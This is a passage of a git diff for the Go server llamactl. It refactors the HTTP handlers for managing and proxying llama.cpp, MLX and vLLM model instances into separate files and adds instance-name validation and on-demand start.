-			http.Error(w, "Invalid request body", http.StatusBadRequest)
-			return
-		}
-
-		modelName, ok := requestBody["model"].(string)
-		if !ok || modelName == "" {
-			http.Error(w, "Model name is required", http.StatusBadRequest)
-			return
-		}
-
-		// Route to the appropriate inst based on model name
-		inst, err := h.InstanceManager.GetInstance(modelName)
-		if err != nil {
-			http.Error(w, "Failed to get instance: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		if !inst.IsRunning() {
-			allowOnDemand := inst.GetOptions() != nil && inst.GetOptions().OnDemandStart != nil && *inst.GetOptions().OnDemandStart
-			if !allowOnDemand {
-				http.Error(w, "Instance is not running", http.StatusServiceUnavailable)
-				return
-			}
-
-			if h.InstanceManager.IsMaxRunningInstancesReached() {
-				if h.cfg.Instances.EnableLRUEviction {
-					err := h.InstanceManager.EvictLRUInstance()
-					if err != nil {
-						http.Error(w, "Cannot start Instance, failed to evict instance "+err.Error(), http.StatusInternalServerError)
-						return
-					}
-				} else {
-					http.Error(w, "Cannot start Instance, maximum number of instances reached", http.StatusConflict)
-					return
-				}
-			}
-
-			// If on-demand start is enabled, start the instance
-			if _, err := h.InstanceManager.StartInstance(modelName); err != nil {
-				http.Error(w, "Failed to start instance: "+err.Error(), http.StatusInternalServerError)
-				return
-			}
-
-			// Wait for the instance to become healthy before proceeding
-			if err := inst.WaitForHealthy(h.cfg.Instances.OnDemandStartTimeout); err != nil { // 2 minutes timeout
-				http.Error(w, "Instance failed to become healthy: "+err.Error(), http.StatusServiceUnavailable)
-				return
-			}
-		}
-
-		proxy, err := inst.GetProxy()
-		if err != nil {
-			http.Error(w, "Failed to get proxy: "+err.Error(), http.StatusInternalServerError)
-			return
-		}
-
-		// Update last request time for the instance
-		inst.UpdateLastRequestTime()
-
-		// Recreate the request body from the bytes we read
-		r.Body = io.NopCloser(bytes.NewReader(bodyBytes))
-		r.ContentLength = int64(len(bodyBytes))
-
-		proxy.ServeHTTP(w, r)
+	// Wait for the instance to become healthy before proceeding
+	if err := inst.WaitForHealthy(h.cfg.Instances.OnDemandStartTimeout); err != nil {
+		return fmt.Errorf("instance failed to become healthy: %w", err)
 	}
+
+	return nil
 }

pkg/server/handlers_backends.go

@@ -0,0 +1,298 @@
+package server
+
+import (
+	"encoding/json"
+	"fmt"
+	"llamactl/pkg/backends"
+	"llamactl/pkg/instance"
+	"net/http"
+	"os/exec"
+	"strings"
+)
+
+// ParseCommandRequest represents the request body for backend command parsing
+type ParseCommandRequest struct {
+	Command string `json:"command"`
+}
+
+// validateLlamaCppInstance validates that the instance specified in the request is a llama.cpp instance
+func (h *Handler) validateLlamaCppInstance(r *http.Request) (*instance.Instance, error) {
+	inst, err := h.getInstance(r)
+	if err != nil {
+		return nil, fmt.Errorf("invalid instance: %w", err)
+	}
+
+	options := inst.GetOptions()
+	if options == nil {
+		return nil, fmt.Errorf("cannot obtain instance's options")
+	}
+
+	if options.BackendOptions.BackendType != backends.BackendTypeLlamaCpp {
+		return nil, fmt.Errorf("instance is not a llama.cpp server")
+	}
+
+	return inst, nil
+}
+
+// stripLlamaCppPrefix removes the llama.cpp proxy prefix from the request URL path
+func (h *Handler) stripLlamaCppPrefix(r *http.Request, instName string) {
+	// Strip the "/llama-cpp/<name>" prefix from the request URL
+	prefix := fmt.Sprintf("/llama-cpp/%s", instName)
+	r.URL.Path = strings.TrimPrefix(r.URL.Path, prefix)
+}
+
+// LlamaCppUIProxy godoc
+// @Summary Proxy requests to llama.cpp UI for the instance
+// @Description Proxies requests to the llama.cpp UI for the specified instance
+// @Tags Llama.cpp
+// @Security ApiKeyAuth
+// @Produce html
+// @Param name query string true "Instance Name"
+// @Success 200 {string} string "Proxied HTML response"
+// @Failure 400 {string} string "Invalid instance"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /llama-cpp/{name}/ [get]
+func (h *Handler) LlamaCppUIProxy() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+
+		inst, err := h.validateLlamaCppInstance(r)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid instance", err.Error())
+			return
+		}
+
+		if !inst.IsRemote() && !inst.IsRunning() {
+			writeError(w, http.StatusBadRequest, "instance is not running", "Instance is not running")
+			return
+		}
+
+		proxy, err := inst.GetProxy()
+		if err != nil {
+			writeError(w, http.StatusInternalServerError, "failed to get proxy", err.Error())
+			return
+		}
+
+		if !inst.IsRemote() {
+			h.stripLlamaCppPrefix(r, inst.Name)
+		}
+
+		proxy.ServeHTTP(w, r)
+	}
+}
+
+// LlamaCppProxy godoc
+// @Summary Proxy requests to llama.cpp server instance
+// @Description Proxies requests to the specified llama.cpp server instance, starting it on-demand if configured
+// @Tags Llama.cpp
+// @Security ApiKeyAuth
+// @Produce json
+// @Param name path string true "Instance Name"
+// @Success 200 {object} map[string]any "Proxied response"
+// @Failure 400 {string} string "Invalid instance"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /llama-cpp/{name}/props [get]
+// @Router /llama-cpp/{name}/slots [get]
+// @Router /llama-cpp/{name}/apply-template [post]
+// @Router /llama-cpp/{name}/completion [post]
+// @Router /llama-cpp/{name}/detokenize [post]
+// @Router /llama-cpp/{name}/embeddings [post]
+// @Router /llama-cpp/{name}/infill [post]
+// @Router /llama-cpp/{name}/metrics [post]
+// @Router /llama-cpp/{name}/props [post]
+// @Router /llama-cpp/{name}/reranking [post]
+// @Router /llama-cpp/{name}/tokenize [post]
+func (h *Handler) LlamaCppProxy() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+
+		inst, err := h.validateLlamaCppInstance(r)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid instance", err.Error())
+			return
+		}
+
+		if !inst.IsRemote() && !inst.IsRunning() {
+			err := h.ensureInstanceRunning(inst)
+			if err != nil {
+				writeError(w, http.StatusInternalServerError, "instance start failed", err.Error())
+				return
+			}
+		}
+
+		proxy, err := inst.GetProxy()
+		if err != nil {
+			writeError(w, http.StatusInternalServerError, "failed to get proxy", err.Error())
+			return
+		}
+
+		if !inst.IsRemote() {
+			h.stripLlamaCppPrefix(r, inst.Name)
+		}
+
+		proxy.ServeHTTP(w, r)
+	}
+}
+
+// parseHelper parses a backend command and returns the parsed options
+func parseHelper(w http.ResponseWriter, r *http.Request, backend interface {
+	ParseCommand(string) (any, error)
+}) (any, bool) {
+	var req ParseCommandRequest
+	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
+		writeError(w, http.StatusBadRequest, "invalid_request", "Invalid JSON body")
+		return nil, false
+	}
+
+	if strings.TrimSpace(req.Command) == "" {
+		writeError(w, http.StatusBadRequest, "invalid_command", "Command cannot be empty")
+		return nil, false
+	}
+
+	// Parse command using the backend's ParseCommand method
+	parsedOptions, err := backend.ParseCommand(req.Command)
+	if err != nil {
+		writeError(w, http.StatusBadRequest, "parse_error", err.Error())
+		return nil, false
+	}
+
+	return parsedOptions, true
+}
+
+// ParseLlamaCommand godoc
+// @Summary Parse llama-server command
+// @Description Parses a llama-server command string into instance options
+// @Tags Backends
+// @Security ApiKeyAuth
+// @Accept json
+// @Produce json
+// @Param request body ParseCommandRequest true "Command to parse"
+// @Success 200 {object} instance.Options "Parsed options"
+// @Failure 400 {object} map[string]string "Invalid request or command"
+// @Failure 500 {object} map[string]string "Internal Server Error"
+// @Router /api/v1/backends/llama-cpp/parse-command [post]
+func (h *Handler) ParseLlamaCommand() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		parsedOptions, ok := parseHelper(w, r, &backends.LlamaServerOptions{})
+		if !ok {
+			return
+		}
+
+		options := &instance.Options{
+			BackendOptions: backends.Options{
+				BackendType:        backends.BackendTypeLlamaCpp,
+				LlamaServerOptions: parsedOptions.(*backends.LlamaServerOptions),
+			},
+		}
+
+		writeJSON(w, http.StatusOK, options)
+	}
+}
+
+// ParseMlxCommand godoc
+// @Summary Parse mlx_lm.server command
+// @Description Parses MLX-LM server command string into instance options
+// @Tags Backends
+// @Security ApiKeyAuth
+// @Accept json
+// @Produce json
+// @Param request body ParseCommandRequest true "Command to parse"
+// @Success 200 {object} instance.Options "Parsed options"
+// @Failure 400 {object} map[string]string "Invalid request or command"
+// @Router /api/v1/backends/mlx/parse-command [post]
+func (h *Handler) ParseMlxCommand() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		parsedOptions, ok := parseHelper(w, r, &backends.MlxServerOptions{})
+		if !ok {
+			return
+		}
+
+		options := &instance.Options{
+			BackendOptions: backends.Options{
+				BackendType:      backends.BackendTypeMlxLm,
+				MlxServerOptions: parsedOptions.(*backends.MlxServerOptions),
+			},
+		}
+
+		writeJSON(w, http.StatusOK, options)
+	}
+}
+
+// ParseVllmCommand godoc
+// @Summary Parse vllm serve command
+// @Description Parses a vLLM serve command string into instance options
+// @Tags Backends
+// @Security ApiKeyAuth
+// @Accept json
+// @Produce json
+// @Param request body ParseCommandRequest true "Command to parse"
+// @Success 200 {object} instance.Options "Parsed options"
+// @Failure 400 {object} map[string]string "Invalid request or command"
+// @Router /api/v1/backends/vllm/parse-command [post]
+func (h *Handler) ParseVllmCommand() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		parsedOptions, ok := parseHelper(w, r, &backends.VllmServerOptions{})
+		if !ok {
+			return
+		}
+
+		options := &instance.Options{
+			BackendOptions: backends.Options{
+				BackendType:       backends.BackendTypeVllm,
+				VllmServerOptions: parsedOptions.(*backends.VllmServerOptions),
+			},
+		}
+
+		writeJSON(w, http.StatusOK, options)
+	}
+}
+
+// executeLlamaServerCommand executes a llama-server command with the specified flag and returns the output
+func (h *Handler) executeLlamaServerCommand(flag, errorMsg string) http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		cmd := exec.Command("llama-server", flag)
+		output, err := cmd.CombinedOutput()
+		if err != nil {
+			writeError(w, http.StatusInternalServerError, "command failed", errorMsg+": "+err.Error())
+			return
+		}
+		writeText(w, http.StatusOK, string(output))
+	}
+}
+
+// LlamaServerHelpHandler godoc
+// @Summary Get help for llama server
+// @Description Returns the help text for the llama server command
+// @Tags Backends
+// @Security ApiKeyAuth
+// @Produces text/plain
+// @Success 200 {string} string "Help text"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/backends/llama-cpp/help [get]
+func (h *Handler) LlamaServerHelpHandler() http.HandlerFunc {
+	return h.executeLlamaServerCommand("--help", "Failed to get help")
+}
+
+// LlamaServerVersionHandler godoc
+// @Summary Get version of llama server
+// @Description Returns the version of the llama server command
+// @Tags Backends
+// @Security ApiKeyAuth
+// @Produces text/plain
+// @Success 200 {string} string "Version information"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/backends/llama-cpp/version [get]
+func (h *Handler) LlamaServerVersionHandler() http.HandlerFunc {
+	return h.executeLlamaServerCommand("--version", "Failed to get version")
+}
+
+// LlamaServerListDevicesHandler godoc
+// @Summary List available devices for llama server
+// @Description Returns a list of available devices for the llama server
+// @Tags Backends
+// @Security ApiKeyAuth
+// @Produces text/plain
+// @Success 200 {string} string "List of devices"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/backends/llama-cpp/devices [get]
+func (h *Handler) LlamaServerListDevicesHandler() http.HandlerFunc {
+	return h.executeLlamaServerCommand("--list-devices", "Failed to list devices")
+}

pkg/server/handlers_instances.go

@@ -0,0 +1,353 @@
+package server
+
+import (
+	"encoding/json"
+	"fmt"
+	"llamactl/pkg/instance"
+	"llamactl/pkg/manager"
+	"llamactl/pkg/validation"
+	"net/http"
+	"strconv"
+	"strings"
+
+	"github.com/go-chi/chi/v5"
+)
+
+// ListInstances godoc
+// @Summary List all instances
+// @Description Returns a list of all instances managed by the server
+// @Tags Instances
+// @Security ApiKeyAuth
+// @Produces json
+// @Success 200 {array} instance.Instance "List of instances"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/instances [get]
+func (h *Handler) ListInstances() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		instances, err := h.InstanceManager.ListInstances()
+		if err != nil {
+			writeError(w, http.StatusInternalServerError, "list_failed", "Failed to list instances: "+err.Error())
+			return
+		}
+
+		writeJSON(w, http.StatusOK, instances)
+	}
+}
+
+// CreateInstance godoc
+// @Summary Create and start a new instance
+// @Description Creates a new instance with the provided configuration options
+// @Tags Instances
+// @Security ApiKeyAuth
+// @Accept json
+// @Produces json
+// @Param name path string true "Instance Name"
+// @Param options body instance.Options true "Instance configuration options"
+// @Success 201 {object} instance.Instance "Created instance details"
+// @Failure 400 {string} string "Invalid request body"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/instances/{name} [post]
+func (h *Handler) CreateInstance() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		name := chi.URLParam(r, "name")
+		validatedName, err := validation.ValidateInstanceName(name)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_instance_name", err.Error())
+			return
+		}
+
+		var options instance.Options
+		if err := json.NewDecoder(r.Body).Decode(&options); err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_request", "Invalid request body")
+			return
+		}
+
+		inst, err := h.InstanceManager.CreateInstance(validatedName, &options)
+		if err != nil {
+			writeError(w, http.StatusInternalServerError, "create_failed", "Failed to create instance: "+err.Error())
+			return
+		}
+
+		writeJSON(w, http.StatusCreated, inst)
+	}
+}
+
+// GetInstance godoc
+// @Summary Get details of a specific instance
+// @Description Returns the details of a specific instance by name
+// @Tags Instances
+// @Security ApiKeyAuth
+// @Produces json
+// @Param name path string true "Instance Name"
+// @Success 200 {object} instance.Instance "Instance details"
+// @Failure 400 {string} string "Invalid name format"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/instances/{name} [get]
+func (h *Handler) GetInstance() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		name := chi.URLParam(r, "name")
+		validatedName, err := validation.ValidateInstanceName(name)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_instance_name", err.Error())
+			return
+		}
+
+		inst, err := h.InstanceManager.GetInstance(validatedName)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_instance", err.Error())
+			return
+		}
+
+		writeJSON(w, http.StatusOK, inst)
+	}
+}
+
+// UpdateInstance godoc
+// @Summary Update an instance's configuration
+// @Description Updates the configuration of a specific instance by name
+// @Tags Instances
+// @Security ApiKeyAuth
+// @Accept json
+// @Produces json
+// @Param name path string true "Instance Name"
+// @Param options body instance.Options true "Instance configuration options"
+// @Success 200 {object} instance.Instance "Updated instance details"
+// @Failure 400 {string} string "Invalid name format"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/instances/{name} [put]
+func (h *Handler) UpdateInstance() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		name := chi.URLParam(r, "name")
+		validatedName, err := validation.ValidateInstanceName(name)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_instance_name", err.Error())
+			return
+		}
+
+		var options instance.Options
+		if err := json.NewDecoder(r.Body).Decode(&options); err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_request", "Invalid request body")
+			return
+		}
+
+		inst, err := h.InstanceManager.UpdateInstance(validatedName, &options)
+		if err != nil {
+			writeError(w, http.StatusInternalServerError, "update_failed", "Failed to update instance: "+err.Error())
+			return
+		}
+
+		writeJSON(w, http.StatusOK, inst)
+	}
+}
+
+// StartInstance godoc
+// @Summary Start a stopped instance
+// @Description Starts a specific instance by name
+// @Tags Instances
+// @Security ApiKeyAuth
+// @Produces json
+// @Param name path string true "Instance Name"
+// @Success 200 {object} instance.Instance "Started instance details"
+// @Failure 400 {string} string "Invalid name format"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/instances/{name}/start [post]
+func (h *Handler) StartInstance() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		name := chi.URLParam(r, "name")
+		validatedName, err := validation.ValidateInstanceName(name)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_instance_name", err.Error())
+			return
+		}
+
+		inst, err := h.InstanceManager.StartInstance(validatedName)
+		if err != nil {
+			// Check if error is due to maximum running instances limit
+			if _, ok := err.(manager.MaxRunningInstancesError); ok {
+				writeError(w, http.StatusConflict, "max_instances_reached", err.Error())
+				return
+			}
+
+			writeError(w, http.StatusInternalServerError, "start_failed", "Failed to start instance: "+err.Error())
+			return
+		}
+
+		writeJSON(w, http.StatusOK, inst)
+	}
+}
+
+// StopInstance godoc
+// @Summary Stop a running instance
+// @Description Stops a specific instance by name
+// @Tags Instances
+// @Security ApiKeyAuth
+// @Produces json
+// @Param name path string true "Instance Name"
+// @Success 200 {object} instance.Instance "Stopped instance details"
+// @Failure 400 {string} string "Invalid name format"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/instances/{name}/stop [post]
+func (h *Handler) StopInstance() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		name := chi.URLParam(r, "name")
+		validatedName, err := validation.ValidateInstanceName(name)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_instance_name", err.Error())
+			return
+		}
+
+		inst, err := h.InstanceManager.StopInstance(validatedName)
+		if err != nil {
+			writeError(w, http.StatusInternalServerError, "stop_failed", "Failed to stop instance: "+err.Error())
+			return
+		}
+
+		writeJSON(w, http.StatusOK, inst)
+	}
+}
+
+// RestartInstance godoc
+// @Summary Restart a running instance
+// @Description Restarts a specific instance by name
+// @Tags Instances
+// @Security ApiKeyAuth
+// @Produces json
+// @Param name path string true "Instance Name"
+// @Success 200 {object} instance.Instance "Restarted instance details"
+// @Failure 400 {string} string "Invalid name format"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/instances/{name}/restart [post]
+func (h *Handler) RestartInstance() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		name := chi.URLParam(r, "name")
+		validatedName, err := validation.ValidateInstanceName(name)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_instance_name", err.Error())
+			return
+		}
+
+		inst, err := h.InstanceManager.RestartInstance(validatedName)
+		if err != nil {
+			writeError(w, http.StatusInternalServerError, "restart_failed", "Failed to restart instance: "+err.Error())
+			return
+		}
+
+		writeJSON(w, http.StatusOK, inst)
+	}
+}
+
+// DeleteInstance godoc
+// @Summary Delete an instance
+// @Description Stops and removes a specific instance by name
+// @Tags Instances
+// @Security ApiKeyAuth
+// @Param name path string true "Instance Name"
+// @Success 204 "No Content"
+// @Failure 400 {string} string "Invalid name format"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/instances/{name} [delete]
+func (h *Handler) DeleteInstance() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		name := chi.URLParam(r, "name")
+		validatedName, err := validation.ValidateInstanceName(name)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_instance_name", err.Error())
+			return
+		}
+
+		if err := h.InstanceManager.DeleteInstance(validatedName); err != nil {
+			writeError(w, http.StatusInternalServerError, "delete_failed", "Failed to delete instance: "+err.Error())
+			return
+		}
+
+		w.WriteHeader(http.StatusNoContent)
+	}
+}
+
+// GetInstanceLogs godoc
+// @Summary Get logs from a specific instance
+// @Description Returns the logs from a specific instance by name with optional line limit
+// @Tags Instances
+// @Security ApiKeyAuth
+// @Param name path string true "Instance Name"
+// @Param lines query string false "Number of lines to retrieve (default: all lines)"
+// @Produces text/plain
+// @Success 200 {string} string "Instance logs"
+// @Failure 400 {string} string "Invalid name format or lines parameter"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/instances/{name}/logs [get]
+func (h *Handler) GetInstanceLogs() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		name := chi.URLParam(r, "name")
+		validatedName, err := validation.ValidateInstanceName(name)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_instance_name", err.Error())
+			return
+		}
+
+		lines := r.URL.Query().Get("lines")
+		numLines := -1 // Default to all lines
+		if lines != "" {
+			parsedLines, err := strconv.Atoi(lines)
+			if err != nil {
+				writeError(w, http.StatusBadRequest, "invalid_parameter", "Invalid lines parameter: "+err.Error())
+				return
+			}
+			numLines = parsedLines
+		}
+
+		// Use the instance manager which handles both local and remote instances
+		logs, err := h.InstanceManager.GetInstanceLogs(validatedName, numLines)
+		if err != nil {
+			writeError(w, http.StatusInternalServerError, "logs_failed", "Failed to get logs: "+err.Error())
+			return
+		}
+
+		writeText(w, http.StatusOK, logs)
+	}
+}
+
+// InstanceProxy godoc
+// @Summary Proxy requests to a specific instance, does not autostart instance if stopped
+// @Description Forwards HTTP requests to the llama-server instance running on a specific port
+// @Tags Instances
+// @Security ApiKeyAuth
+// @Param name path string true "Instance Name"
+// @Success 200 "Request successfully proxied to instance"
+// @Failure 400 {string} string "Invalid name format"
+// @Failure 500 {string} string "Internal Server Error"
+// @Failure 503 {string} string "Instance is not running"
+// @Router /api/v1/instances/{name}/proxy [get]
+// @Router /api/v1/instances/{name}/proxy [post]
+func (h *Handler) InstanceProxy() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		inst, err := h.getInstance(r)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_instance", err.Error())
+			return
+		}
+
+		if !inst.IsRunning() {
+			writeError(w, http.StatusServiceUnavailable, "instance_not_running", "Instance is not running")
+			return
+		}
+
+		proxy, err := inst.GetProxy()
+		if err != nil {
+			writeError(w, http.StatusInternalServerError, "proxy_failed", "Failed to get proxy: "+err.Error())
+			return
+		}
+
+		if !inst.IsRemote() {
+			// Strip the "/api/v1/instances/<name>/proxy" prefix from the request URL
+			prefix := fmt.Sprintf("/api/v1/instances/%s/proxy", inst.Name)
+			r.URL.Path = strings.TrimPrefix(r.URL.Path, prefix)
+		}
+
+		// Set forwarded headers
+		r.Header.Set("X-Forwarded-Host", r.Header.Get("Host"))
+		r.Header.Set("X-Forwarded-Proto", "http")
+
+		proxy.ServeHTTP(w, r)
+	}
+}

pkg/server/handlers_nodes.go

@@ -0,0 +1,70 @@
+package server
+
+import (
+	"net/http"
+
+	"github.com/go-chi/chi/v5"
+)
+
+// NodeResponse represents a node configuration in API responses
+type NodeResponse struct {
+	Address string `json:"address"`
+}
+
+// ListNodes godoc
+// @Summary List all configured nodes
+// @Description Returns a map of all nodes configured in the server (node name -> node config)
+// @Tags Nodes
+// @Security ApiKeyAuth
+// @Produces json
+// @Success 200 {object} map[string]NodeResponse "Map of nodes"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/nodes [get]
+func (h *Handler) ListNodes() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		// Convert to sanitized response format (map of name -> NodeResponse)
+		nodeResponses := make(map[string]NodeResponse, len(h.cfg.Nodes))
+		for name, node := range h.cfg.Nodes {
+			nodeResponses[name] = NodeResponse{
+				Address: node.Address,
+			}
+		}
+
+		writeJSON(w, http.StatusOK, nodeResponses)
+	}
+}
+
+// GetNode godoc
+// @Summary Get details of a specific node
+// @Description Returns the details of a specific node by name
+// @Tags Nodes
+// @Security ApiKeyAuth
+// @Produces json
+// @Param name path string true "Node Name"
+// @Success 200 {object} NodeResponse "Node details"
+// @Failure 400 {string} string "Invalid name format"
+// @Failure 404 {string} string "Node not found"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/nodes/{name} [get]
+func (h *Handler) GetNode() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		name := chi.URLParam(r, "name")
+		if name == "" {
+			writeError(w, http.StatusBadRequest, "invalid_request", "Node name cannot be empty")
+			return
+		}
+
+		nodeConfig, exists := h.cfg.Nodes[name]
+		if !exists {
+			writeError(w, http.StatusNotFound, "not_found", "Node not found")
+			return
+		}
+
+		// Convert to sanitized response format
+		nodeResponse := NodeResponse{
+			Address: nodeConfig.Address,
+		}
+
+		writeJSON(w, http.StatusOK, nodeResponse)
+	}
+}

pkg/server/handlers_openai.go

@@ -0,0 +1,129 @@
+package server
+
+import (
+	"bytes"
+	"encoding/json"
+	"io"
+	"llamactl/pkg/validation"
+	"net/http"
+)
+
+// OpenAIListInstancesResponse represents the response structure for listing instances (models) in OpenAI-compatible format
+type OpenAIListInstancesResponse struct {
+	Object string           `json:"object"`
+	Data   []OpenAIInstance `json:"data"`
+}
+
+// OpenAIInstance represents a single instance (model) in OpenAI-compatible format
+type OpenAIInstance struct {
+	ID      string `json:"id"`
+	Object  string `json:"object"`
+	Created int64  `json:"created"`
+	OwnedBy string `json:"owned_by"`
+}
+
+// OpenAIListInstances godoc
+// @Summary List instances in OpenAI-compatible format
+// @Description Returns a list of instances in a format compatible with OpenAI API
+// @Tags OpenAI
+// @Security ApiKeyAuth
+// @Produces json
+// @Success 200 {object} OpenAIListInstancesResponse "List of OpenAI-compatible instances"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /v1/models [get]
+func (h *Handler) OpenAIListInstances() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		instances, err := h.InstanceManager.ListInstances()
+		if err != nil {
+			writeError(w, http.StatusInternalServerError, "list_failed", "Failed to list instances: "+err.Error())
+			return
+		}
+
+		openaiInstances := make([]OpenAIInstance, len(instances))
+		for i, inst := range instances {
+			openaiInstances[i] = OpenAIInstance{
+				ID:      inst.Name,
+				Object:  "model",
+				Created: inst.Created,
+				OwnedBy: "llamactl",
+			}
+		}
+
+		openaiResponse := OpenAIListInstancesResponse{
+			Object: "list",
+			Data:   openaiInstances,
+		}
+
+		writeJSON(w, http.StatusOK, openaiResponse)
+	}
+}
+
+// OpenAIProxy godoc
+// @Summary OpenAI-compatible proxy endpoint
+// @Description Handles all POST requests to /v1/*, routing to the appropriate instance based on the request body. Requires API key authentication via the `Authorization` header.
+// @Tags OpenAI
+// @Security ApiKeyAuth
+// @Accept json
+// @Produces json
+// @Success 200 "OpenAI response"
+// @Failure 400 {string} string "Invalid request body or instance name"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /v1/ [post]
+func (h *Handler) OpenAIProxy() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		// Read the entire body first
+		bodyBytes, err := io.ReadAll(r.Body)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_request", "Failed to read request body")
+			return
+		}
+		r.Body.Close()
+
+		// Parse the body to extract instance name
+		var requestBody map[string]any
+		if err := json.Unmarshal(bodyBytes, &requestBody); err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_request", "Invalid request body")
+			return
+		}
+
+		modelName, ok := requestBody["model"].(string)
+		if !ok || modelName == "" {
+			writeError(w, http.StatusBadRequest, "invalid_request", "Instance name is required")
+			return
+		}
+
+		// Validate instance name at the entry point
+		validatedName, err := validation.ValidateInstanceName(modelName)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_instance_name", err.Error())
+			return
+		}
+
+		// Route to the appropriate inst based on instance name
+		inst, err := h.InstanceManager.GetInstance(validatedName)
+		if err != nil {
+			writeError(w, http.StatusBadRequest, "invalid_instance", err.Error())
+			return
+		}
+
+		if !inst.IsRemote() && !inst.IsRunning() {
+			err := h.ensureInstanceRunning(inst)
+			if err != nil {
+				writeError(w, http.StatusInternalServerError, "instance_start_failed", err.Error())
+				return
+			}
+		}
+
+		proxy, err := inst.GetProxy()
+		if err != nil {
+			writeError(w, http.StatusInternalServerError, "proxy_failed", err.Error())
+			return
+		}
+
+		// Recreate the request body from the bytes we read
+		r.Body = io.NopCloser(bytes.NewReader(bodyBytes))
+		r.ContentLength = int64(len(bodyBytes))
+
+		proxy.ServeHTTP(w, r)
+	}
+}

pkg/server/handlers_system.go

@@ -0,0 +1,22 @@
+package server
+
+import (
+	"fmt"
+	"net/http"
+)
+
+// VersionHandler godoc
+// @Summary Get llamactl version
+// @Description Returns the version of the llamactl command
+// @Tags System
+// @Security ApiKeyAuth
+// @Produces text/plain
+// @Success 200 {string} string "Version information"
+// @Failure 500 {string} string "Internal Server Error"
+// @Router /api/v1/version [get]
+func (h *Handler) VersionHandler() http.HandlerFunc {
+	return func(w http.ResponseWriter, r *http.Request) {
+		versionInfo := fmt.Sprintf("Version: %s\nCommit: %s\nBuild Time: %s\n", h.cfg.Version, h.cfg.CommitHash, h.cfg.BuildTime)
+		writeText(w, http.StatusOK, versionInfo)
+	}
+}

pkg/server/openai.go

@@ -1,13 +0,0 @@
-package server
-
-type OpenAIListInstancesResponse struct {
-	Object string           `json:"object"`
-	Data   []OpenAIInstance `json:"data"`
-}
-
-type OpenAIInstance struct {
-	ID      string `json:"id"`
-	Object  string `json:"object"`
-	Created int64  `json:"created"`
-	OwnedBy string `json:"owned_by"`
-}

pkg/server/routes.go

@@ -8,7 +8,7 @@ import (
 	"github.com/go-chi/cors"
 	httpSwagger "github.com/swaggo/http-swagger"
 
-	_ "llamactl/apidocs"
+	_ "llamactl/docs"
 	"llamactl/webui"
 )
 
@@ -20,7 +20,7 @@ func SetupRouter(handler *Handler) *chi.Mux {
 	r.Use(cors.Handler(cors.Options{
 		AllowedOrigins:   handler.cfg.Server.AllowedOrigins,
 		AllowedMethods:   []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
-		AllowedHeaders:   []string{"Accept", "Authorization", "Content-Type", "X-CSRF-Token"},
+		AllowedHeaders:   handler.cfg.Server.AllowedHeaders,
 		ExposedHeaders:   []string{"Link"},
 		AllowCredentials: false,
 		MaxAge:           300,
@@ -44,10 +44,29 @@ func SetupRouter(handler *Handler) *chi.Mux {
 
 		r.Get("/version", handler.VersionHandler()) // Get server version
 
-		r.Route("/server", func(r chi.Router) {
